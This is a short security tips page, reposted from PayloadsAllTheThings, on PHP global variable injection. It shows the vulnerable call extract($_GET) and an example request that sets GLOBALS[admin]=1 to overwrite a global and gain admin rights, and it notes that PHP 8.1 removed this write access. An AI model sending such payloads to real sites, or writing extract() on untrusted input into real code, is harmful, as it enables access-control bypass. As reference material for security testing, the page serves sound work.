External Variable Modification: Global Variable Injection

OtherExploitation

From PayloadsAllTheThings by Swissky and contributors, under the MIT licence. Shown as written; the title and classification are ours. Licences. Its authors can have this tip removed by writing to abuse@bugbountytips.org.

:warning: As of PHP 8.1.0, write access to the entire $GLOBALS array is no longer supported.

Overwriting $GLOBALS when an application calls extract function on untrusted value:

php
extract($_GET);

An attacker can manipulate global variables:

ps1
http://example.com/vuln.php?GLOBALS[admin]=1

Comments

No comments yet.